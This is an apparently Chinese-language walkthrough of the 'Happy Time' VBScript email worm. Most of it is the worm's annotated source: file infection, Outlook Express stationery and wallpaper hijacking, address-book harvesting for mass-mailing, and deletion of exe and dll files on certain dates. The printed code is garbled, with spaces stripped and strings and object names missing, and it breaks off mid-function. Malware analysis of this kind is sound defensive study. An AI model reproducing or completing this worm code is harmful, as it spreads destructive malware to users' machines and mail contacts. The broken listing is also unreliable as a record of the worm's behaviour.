欢乐时光代码分析

欢乐时光代码分析

“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道，邮件的格式可以有两种：纯文本和超文本。超文本功能强大就不用多说了，它可以内嵌数种脚本语言，常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来，该作者很可能是长期从事网络编程的高手，他对VBS的认识可谓精通，使用的许多技术细节都鲜为人知，尤其是利用了类型库成功地避开了安全审核的手段更是令人叹为观止。

下面让我们来看看它藏在快乐的外衣下的是什么吧！

***************欢乐时光***************

RemIamsorry!happytime

OnErrorResumeNext

Mload

’以上为病毒入口，并加上Iamsorry!happytime的注释，以表明此文件已被感染过。

Submload()

OnErrorResumeNext

mPath=Grf()

SetOs=CreateObject()

SetOh=CreateObject()

’建立枚举对象，避开了安全审核

IfIsHTMLThen

’调用IsHtml函数，如果是Html，就小写……

mURL=LCase()

IfmPath=Then

=C:“

=Lhtml()

()

’如果mPath为空，就在C盘下生成

Ihtml=

’超文本的内容，并指向C:“

Call(AfterBegin,Ihtml)

Else

IfIv(mPath,)Then

setIntervalRt(),10000

Else

m=hta

IfLCase(m)=Right(mURL,Len(m))Then

id=setTimeout(mclose(),1)

’设置超时条件

main

Else

()

=mPath&“&

=Lhtml()

()

IvmPath,

’生成

EndIf

EndIf

EndIf

Else

Main

’都不是，就执行main函数

EndIf

EndSub

’******************************************************************

’以下为主函数，太长了！

Submain()

OnErrorResumeNext

SetOf=CreateObject()

’不用说，创建FileSystemObject对象啦

SetOd=CreateObject()

’创建Dictionary对象,用来保存数据键和项目对，它实际上是一个比较开放的数组

html,1100

vbs,0100

htm,1100

asp,0010

’向Dictionary对象添加要感染的项目对

Ks=HKEY_CURRENT_USER“Software“

’使用变量以减少代码长度

Ds=Grf()

Cs=Gsf()

IfIsVbsThen

’如果是VBS

If(C:“)Then

(C:“)

’如果c:“存在，就删掉，消灭遗留的痕迹

EndIf

Key=CInt(Month(Date)+Day(Date))

IfKey=13Then

’如果月与日之和为13

exe,0001

dll,0001

’就清空Dictionary数组，并将exe、dll加入Dictionary对象，以备删除之用

EndIf

Cn=Rg(Ks&Help“Count)

’读注册表中的HKEY_CURRENT_USER“Software“Help“Count键值

IfCn=Then

Cn=1

’如果Count为0，就设为1

EndIf

RwKs&Help“Count,Cn+1

’添加HKEY_CURRENT_USER“Software“Help“Count键值，值为2

f1=Rg(Ks&Help“FileName)

’再读HKEY_CURRENT_USER“Software“Help“FileName键值

f2=FNext(Of,Od,f1)

’得到该文件的文件名

fext=GetExt(Of,Od,f2)

’得到该文件扩展名的代号

RwKs&Help“FileName,f2

’添加键值

IfIsDel(fext)Then

’如果扩展名代号的第四个字符为1——即0001(exe、dll)

f3=f2

’储存文件名

f2=FNext(Of,Od,f2)

’得到文件的文件名？

RwKs&Help“FileName,f2

’写注册表

f3

’删除文件

Else

IfLCase()LCase(f2)Then

’如果不是集合中的文件

FwOf,f2,fext

EndIf

EndIf

If(CInt(Cn)Mod366)=0Then

If(CInt(Second(Time))Mod2)=0Then

’使用Cint函数强制执行转换，并发邮件

Tsend

Else

adds=Og

Msend(adds)

EndIf

EndIf

wp=Rg(HKEY_CURRENT_USER“ControlPanel“desktop“wallPaper)

IfRg(Ks&Help“wallPaper)wpOrwp=Then

’比较桌面墙纸是否已改变

Ifwp=Then

n1=

n3=Cs&“

Else

mP=(wp).ParentFolder

n1=(wp)

n2=(wp)

n3=Cs&“&n2&.htm

EndIf

Setpfc=(n3,True)

mt=Sa(1100)

’创建超文本

&HTML&bodybgcolor=’#007f7f’background=’&n1&’

&/Body&/HTML&mt

’超文本的内容

RwKs&Help“wallPaper,n3

RwHKEY_CURRENT_USER“ControlPanel“desktop“wallPaper,n3

’将带毒的超文本设置成活动桌面

EndIf

Else

Setfc=(Ds&“,True)

Sa(0100)

’创建vbs文件

bf=Cs&“

Setfc2=(bf,True)

Lhtml

’创建windows下的

oeid=Rg(HKEY_CURRENT_USER“Identities“DefaultUserID)

oe=HKEY_CURRENT_USER“Identities“&oeid&“Software“Microsoft“OutlookE

xpress““Mail

MSH=oe&“MessageSendHTML

CUS=oe&“ComposeUseStationery

SN=oe&“StationeryName

RwMSH,1

RwCUS,1

RwSN,bf

’在Hkey_Current_User＼Identities＼{AECF6CA3-9614-4AF4-AEF2-CT63FE9D97A4}＼Software＼Microsoft＼OutlookExpress＼＼Mail下添加三个键值MessageSendHTML、ComposeUseStationery和StationeryName，前两个的值为1，后一个指向windows“

Web=Cs&“WEB

Setgf=(Web).Files

’得到windows“web文件夹里的文件

htt,1100

’向Dictionary里添加htt项目对

ForEachmIngf

’遍历windows“web下的每一个文件

fext=GetExt(Of,Od,m)

’得到每个文件的扩展名

IffextThen

’如果扩展名不为空，则

FwOf,m,fext

EndIf

Next

EndIf

EndSub

’******************************************************************

Submclose()

&titleIamsorry!’写入Iamsorry,并关闭。以此作为感染与否的标记

EndSub

’******************************************************************

SubFw(Of,S,n)

’此时S为文件名，n为文件扩展名

Dimfc,fc2,m,mmail,mt

OnErrorResumeNext

Setfc=(S,1)

’只读模式打开该文件

mt=

’读入全部文件流

’关闭文件

IfNotSc(mt)Then

’如果未感染过

mmail=Ml(mt)

mt=Sa(n)

Setfc2=(S,8)

’打开文件并在文件末尾进行写爱作

mt

Msend(mmail)

’发带毒邮件

EndIf

EndSub

’******************************************************************

FunctionSc(S)

mN=RemIamsorry!happytime

IfInStr(S,mN)0Then

’如果读入的文件流中有RemIamsorry!happytime

Sc=True

Else

Sc=False

’表示已感染过，返回True,否则为False

EndIf

EndFunction

’

******************************************************************

FunctionFNext(Of,Od,S)

Dimfpath,fname,fext,T,gf

OnErrorResumeNext

fname=

T=False

’初始化变量

If(S)Then

’如果S存在于当前文件夹中

fpath=(S).ParentFolder

’得到文件的父目录名

fname=S

’得到文件名

ElseIf(S)Then

’不存在于当前文件夹中，则得到目录名

fpath=S

T=True

Else

fpath=Dnext(Of,)

’得到当前盘符——即根目录

EndIf

DoWhileTrue

Setgf=(fpath).Files

’得到当前目录下的所有文件对象

ForEachmIngf

’遍历每个文件

IfTThen

IfGetExt(Of,Od,m)Then

’如果该文件是文件集合中的一员

FNext=m

’则返回该文件名，供调用的函数或过程使用——感染或删除之

ExitFunction

EndIf

ElseIfLCase(m)=LCase(fname)Orfname=Then

’如果没文件

T=True

EndIf

Next

fpath=Pnext(Of,fpath)’

Loop

EndFunction

’******************************************************************

FunctionPnext(Of,S)

OnErrorResumeNext

DimPpath,Npath,gp,pn,T,m

T=False

If(S)Then

’如果如果指定的文件夹存在

Setgp=(S).SubFolders

’就得到子目录数

pn=

Ifpn=0Then

’如果没子目录

Ppath=LCase(S)’

Npath=LCase((S))

’得到父目录的小写形式

T=True

Else

Npath=LCase(S)

’有子目录，得到其小写形式的集合

EndIf

DoWhileNotEr’

ForEachpnIn(Npath).SubFolders

’得到子目录下的子目录

IfTThen

IfPpath=LCase(pn)Then

T=False

EndIf

Else

Pnext=LCase(pn)

ExitFunction

EndIf

Next

T=True

Ppath=LCase(Npath)

’将字符串转化成小写

Npath=(Npath)’

If(Ppath).IsRootFolderThen

’如果是根目录

m=(Ppath)

’就得到分区符

Pnext=Dnext(Of,m)

ExitFunction

EndIf

Loop

EndIf

EndFunction

’******************************************************************

FunctionDnext(Of,S)

Dimdc,n,d,T,m

OnErrorResumeNext

T=False

m=

Setdc=

’得到所有的驱动器盘符

ForEachdIndc

’遍历每个驱动器

If=2Or=3Then

’如果是网络盘或本地盘

IfTThen

Dnext=d

ExitFunction

’如果是False，就返回当前盘，并退出本函数

Else

IfLCase(S)=LCase(d)Then

’如果是True且盘符相同，就令T为True

T=True

EndIf

Ifm=Then

’如果m为空，就将盘符付给m

m=d

EndIf

EndIf

EndIf

Next

Dnext=m

’返回盘符

EndFunction

’******************************************************************

FunctionGetExt(Of,Od,S)

Dimfext

OnErrorResumeNext

fext=LCase((S))

’返回该文件扩展名的小写

GetExt=(fext)

’返回Dictionary对象中指定的key对应的item——即0001(exe)等

EndFunction

’******************************************************************

SubRw(k,v)

’写注册表

DimR

OnErrorResumeNext

SetR=CreateObject()

’创建对象

k,v

EndSub

’******************************************************************

FunctionRg(v)

’读注册表

DimR

OnErrorResumeNext

SetR=CreateObject()

’创建对象

Rg=(v)

EndFunction

’******************************************************************

FunctionIsVbs()

’此函数判断是不是VBS文件

DimErrTest

OnErrorResumeNext

ErrTest=

IfErrThen

’如果出错，则不是VBS

IsVbs=False

Else

IsVbs=True

EndIf

EndFunction

’******************************************************************

FunctionIsHTML()

’此函数判断是不是Html文件

DimErrTest

OnErrorResumeNext

ErrTest=

IfErThen

IsHTML=False

’如果出错，则不是超文本

Else

IsHTML=True

EndIf

EndFunction

’******************************************************************

FunctionIsMail(S)

’此函数判断是不是邮件地址

Dimm1,m2

IsMail=False

IfInStr(S,vbCrLf)=0Then

’返回vbCrLf在S中第一次出现的位置,vbCrLf是换行符

m1=InStr(S,@)

m2=InStr(S,.)

Ifm10Andm1m2Then

’如果有“@”符号且“@”在“.之前，则是邮件地址

IsMail=True

EndIf

EndIf

EndFunction

’******************************************************************

FunctionGsf()

’得到windows目录

DimOf,m

OnErrorResumeNext

SetOf=CreateObject()

’创建FileSystemObject对象

m=(0)

’得到特殊目录——Windows、System和Temp目录

IfErThen

’如果失败，返回C:“

Gsf=C:“

Else

’若正常，则返回%Windows%

Gsf=m

EndIf

EndFunction

’******************************************************************

FunctionLhtml()

’写入超文本的内容，其中vbCrLf是换行符

Lhtml=&HTML&&TitleHelp&Body&Lscript(Lvbs())&vbCrLf&_

&/BodyEndFunction

’******************************************************************

FunctionLscript(S)

’写入vbscript的声明

Lscript=&scriptlanguage=’VBScript’&vbCrLf&_

S&&/script&

EndFunction

’******************************************************************

FunctionSl(S1,S2,n)

Diml1,l2,l3,i

l1=Len(S1)

’得到文件流的长度

l2=Len(S2)

’得到mailto:的长度

i=InStr(S1,S2)

’在文件流中查找mailto:第一次出现的位置——值为一个数

Ifi0Then

’找到则进行字符串爱作

l3=i+l2-1

Ifn=0Then

Sl=Left(S1,i-1)

ElseIfn=1Then

Sl=Right(S1,l1-l3)

EndIf

Else

Sl=

EndIf

EndFunction

’******************************************************************

FunctionOg()

’得到WAB中的邮件地址

Dimi,n,m(),Om,Oo

SetOo=CreateObject()

’创建Outlook应用程序对象，Outlook和OutlookExpress都跑不掉啦！

SetOm=(MAPI).GetDefaultFolder(10).Items

n=

ReDimm(n)

Fori=1Ton

m(i-1)=(i).Email1Address

得到每个WAB中的邮件地址

Next

Og=m

EndFunction

’******************************************************************

SubTsend()

’发带毒邮件

DimOd,MS,MM,a,m

SetOd=CreateObject()

MConnectMS,